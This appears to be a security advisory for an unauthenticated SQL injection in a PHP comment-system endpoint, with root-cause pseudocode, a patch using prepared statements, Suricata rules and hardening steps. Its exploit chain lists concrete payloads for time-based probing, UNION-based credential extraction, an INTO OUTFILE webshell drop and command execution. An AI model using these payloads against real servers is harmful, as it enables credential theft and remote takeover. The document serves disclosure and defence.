CVE-2026-8126: SQL Injection to RCE in SourceCodester Comment System 1.0

Vulnerability Overview

CVE-2026-8126 is an unauthenticated SQL injection vulnerability in SourceCodester Comment System 1.0, a PHP/MySQL web application distributed as open-source educational software. The post_comment.php endpoint accepts user-supplied form data and constructs a raw SQL INSERT statement without parameterization or sanitization. The Name parameter is injected directly into the query string, enabling an unauthenticated remote attacker to execute arbitrary SQL — and on permissive MySQL configurations, achieve remote code execution via INTO OUTFILE webshell deployment.

CVSS 7.3 (HIGH) reflects network attack vector, no authentication required, and high impact on integrity with partial confidentiality impact. No active exploitation has been observed in the wild as of publication.

Affected Component

File: post_comment.php
Parameter: Name (HTTP POST body)
Backend: MySQL via raw mysqli_query()
Authentication required: None
Network exposure: Any HTTP-accessible deployment

The application uses a pattern common to SourceCodester projects: a flat PHP file handling both data ingestion and database writes, with a shared db_connect.php include providing the raw mysqli connection handle. No ORM, no PDO, no prepared statements.

Root Cause Analysis

The following pseudocode reconstructs post_comment.php based on SourceCodester's consistent code patterns across published projects, the CVE description, and the vulnerability class:

// post_comment.php — reconstructed pseudocode
// Equivalent PHP rendered as C-style pseudocode for clarity

void post_comment(http_request_t *req) {
    db_t *conn = db_connect();  // mysqli connection, no error check

    // Attacker-controlled inputs read directly from POST body
    char *name    = req->post["Name"];     // BUG: no sanitization here
    char *comment = req->post["comment"];
    char *post_id = req->post["post_id"];

    // BUG: direct string interpolation into SQL — classic injection sink
    char query[1024];
    snprintf(query, sizeof(query),
        "INSERT INTO comments (name, comment, post_id, date_posted) "
        "VALUES ('%s', '%s', '%s', NOW())",
        name,     // <-- attacker controls this entirely
        comment,
        post_id
    );

    // Single-query execution — but mysqli_multi_query used in some versions
    // BUG: if multi_query variant is used, stacked queries execute
    result = mysqli_query(conn, query);

    if (!result) {
        // Silent failure — no user-facing error, aids blind injection
        header("Location: index.php");
    } else {
        header("Location: index.php?success=1");
    }
}

The critical branch: some SourceCodester projects use mysqli_multi_query() rather than mysqli_query() for form handlers. If the multi-query variant is present, stacked queries — including SELECT ... INTO OUTFILE — execute synchronously. Even with single-query mysqli_query(), UNION-based and time-based blind extraction remains fully viable.

INJECTION POINT TRACE:

HTTP POST /comment_system/post_comment.php
  Body: Name=&comment=test&post_id=1

PHP execution path:
  $_POST['Name']          (no filter_input, no htmlspecialchars, no addslashes)
       |
       v
  snprintf() → raw SQL string
       |
       v
  mysqli_query() / mysqli_multi_query()
       |
       v
  MySQL server parses attacker-controlled SQL token

Exploitation Mechanics

EXPLOIT CHAIN:

1. Probe for injectable parameter:
   POST Name=' -- -
   → Observe HTTP 302 redirect destination (success vs. failure)
   → Silent redirect to index.php (no error page) confirms injectable

2. Enumerate database version via time-based blind:
   POST Name=' AND SLEEP(5) -- -
   → ~5 second response delay confirms MySQL backend and injection context

3. Extract schema via UNION-based injection (comment column is reflected):
   POST Name=' UNION SELECT 1,group_concat(table_name),3,4
              FROM information_schema.tables
              WHERE table_schema=database() -- -
   → Response body leaks table names in rendered comment

4. Extract credentials from users table (common SourceCodester schema):
   POST Name=' UNION SELECT 1,concat(username,0x3a,password),3,4
              FROM users LIMIT 1 -- -
   → MD5 or plaintext credentials returned in comment render

5. (If mysqli_multi_query) Drop webshell via INTO OUTFILE:
   POST Name=test');
        SELECT ''
        INTO OUTFILE '/var/www/html/comment_system/shell.php' -- -
   → Write PHP webshell to web root

6. Execute OS commands via dropped webshell:
   GET /comment_system/shell.php?c=id
   → uid=33(www-data) or similar — RCE achieved

7. Escalate: read /etc/passwd, probe for SUID binaries,
   enumerate cron jobs, pivot to database server credentials

Memory Layout

SQL injection in PHP/MySQL does not involve memory corruption, but the server-side query parse tree illustrates where attacker data crosses the trust boundary:

MYSQL QUERY PARSE STATE — BENIGN INPUT:

  Token stream for: INSERT INTO comments (name,...) VALUES ('alice','hello',1,NOW())

  [INSERT] [INTO] [comments] [(name,comment,post_id,date_posted)]
  [VALUES]
  [STRING:'alice'] [STRING:'hello'] [INT:1] [FUNC:NOW()]

  Trust boundary: string literals enclosed in single quotes, parsed as data tokens.

─────────────────────────────────────────────────────────────────────

MYSQL QUERY PARSE STATE — INJECTED INPUT:
  Name = ') UNION SELECT 1,concat(user(),0x3a,@@datadir),3,4 -- -

  Token stream after injection:

  [INSERT] [INTO] [comments] [...]
  [VALUES]
  [STRING:''] [CLOSE_PAREN]          ← closes VALUES prematurely
  [UNION]                             ← BUG: attacker-supplied keyword
  [SELECT] [INT:1]
  [FUNC:concat]([FUNC:user()],[HEX:0x3a],[VAR:@@datadir])
  [INT:3] [INT:4]
  [COMMENT: -- - (rest of original query discarded)]

  Result: MySQL executes attacker's SELECT, returns controlled data
  into result set that PHP renders into page response.

DB SCHEMA (reconstructed — standard SourceCodester Comment System):

TABLE: comments
  +----+----------+---------+---------+---------------------+
  | id | name     | comment | post_id | date_posted         |
  +----+----------+---------+---------+---------------------+
  INT   VARCHAR   TEXT      INT       DATETIME
  PK    ↑
        └── injection lands here — rendered back to HTML response
             enabling UNION-based data exfiltration via reflection

TABLE: users (typical schema)
  +----+----------+----------------------------------+-------+
  | id | username | password                         | level |
  +----+----------+----------------------------------+-------+
  INT   VARCHAR   VARCHAR(32) [MD5 or plaintext]     INT

Patch Analysis

The correct fix is prepared statement parameterization via PDO or mysqli_prepare(). The following diff shows the vulnerable pattern and the correct remediation:

// BEFORE (vulnerable — post_comment.php):

$name    = $_POST['Name'];      // raw, unsanitized
$comment = $_POST['comment'];
$post_id = $_POST['post_id'];

$query = "INSERT INTO comments (name, comment, post_id, date_posted) "
       . "VALUES ('$name', '$comment', '$post_id', NOW())";

$result = mysqli_query($conn, $query);  // direct execution


// AFTER (patched):

// 1. Bind parameters — no user data touches query string
$stmt = mysqli_prepare($conn,
    "INSERT INTO comments (name, comment, post_id, date_posted) "
    . "VALUES (?, ?, ?, NOW())"
);

// 2. Typed binding — 'ssi' enforces string/string/integer types
$name    = $_POST['Name'];
$comment = $_POST['comment'];
$post_id = (int) $_POST['post_id'];   // explicit cast for integer fields

mysqli_stmt_bind_param($stmt, "ssi", $name, $comment, $post_id);
$result = mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt);

// 3. Optional: output encoding at render time (defense in depth)
// echo htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8');

Secondary hardening: disable FILE privilege for the MySQL application user to prevent INTO OUTFILE webshell deployment even if injection is achieved through a separate bypass:

-- MySQL hardening: revoke filesystem write from app user
REVOKE FILE ON *.* FROM 'comment_app'@'localhost';

-- Restrict to minimum required privileges only
GRANT SELECT, INSERT ON comment_system.* TO 'comment_app'@'localhost';
FLUSH PRIVILEGES;

Detection and Indicators

WAF / IDS signatures to detect active exploitation attempts against this endpoint:

DETECTION RULES:

# Suricata — time-based blind probe
alert http any any -> any any (
    msg:"CVE-2026-8126 SQLi SLEEP probe post_comment.php";
    http.method; content:"POST";
    http.uri; content:"post_comment.php";
    http.request_body; content:"SLEEP"; nocase;
    sid:20268126; rev:1;
)

# Suricata — UNION SELECT extraction attempt
alert http any any -> any any (
    msg:"CVE-2026-8126 SQLi UNION SELECT post_comment.php";
    http.method; content:"POST";
    http.uri; content:"post_comment.php";
    http.request_body; content:"UNION"; nocase;
    http.request_body; content:"SELECT"; nocase; distance:0; within:20;
    sid:20268127; rev:1;
)

# Suricata — INTO OUTFILE webshell drop
alert http any any -> any any (
    msg:"CVE-2026-8126 SQLi INTO OUTFILE webshell post_comment.php";
    http.request_body; content:"INTO"; nocase;
    http.request_body; content:"OUTFILE"; nocase; distance:0; within:10;
    sid:20268128; rev:1;
)

MySQL general query log indicators: Any INSERT into the comments table containing SQL keywords (UNION, SELECT, SLEEP, OUTFILE, INTO) in the name field should be treated as active exploitation. Enable general query log temporarily: SET GLOBAL general_log = 'ON';

Filesystem indicator of compromise: Unexpected .php files in the web root with timestamps newer than the application install date — particularly single-function files containing system(), exec(), or passthru() calls.

Remediation

Immediate:

• Replace all raw mysqli_query() calls that incorporate $_POST / $_GET data with mysqli_prepare() + mysqli_stmt_bind_param() throughout the application — post_comment.php is the reported sink but the pattern is typically systemic in SourceCodester projects.
• Audit all PHP files for the pattern mysqli_query($conn, "... '$_POST — any match is a candidate injection sink.

Defense in depth:

• Revoke FILE privilege from the MySQL application user (blocks INTO OUTFILE RCE path).
• Set secure_file_priv to an empty or non-web-accessible path in my.cnf.
• Deploy a WAF rule matching the signatures above in blocking mode.
• If the application is not required to be public-facing, restrict access to trusted IP ranges at the network layer.

For production operators: SourceCodester Comment System 1.0 is educational software not intended for production deployment. If deployed in any internet-facing context, immediate takedown or network isolation is the recommended interim response pending code remediation.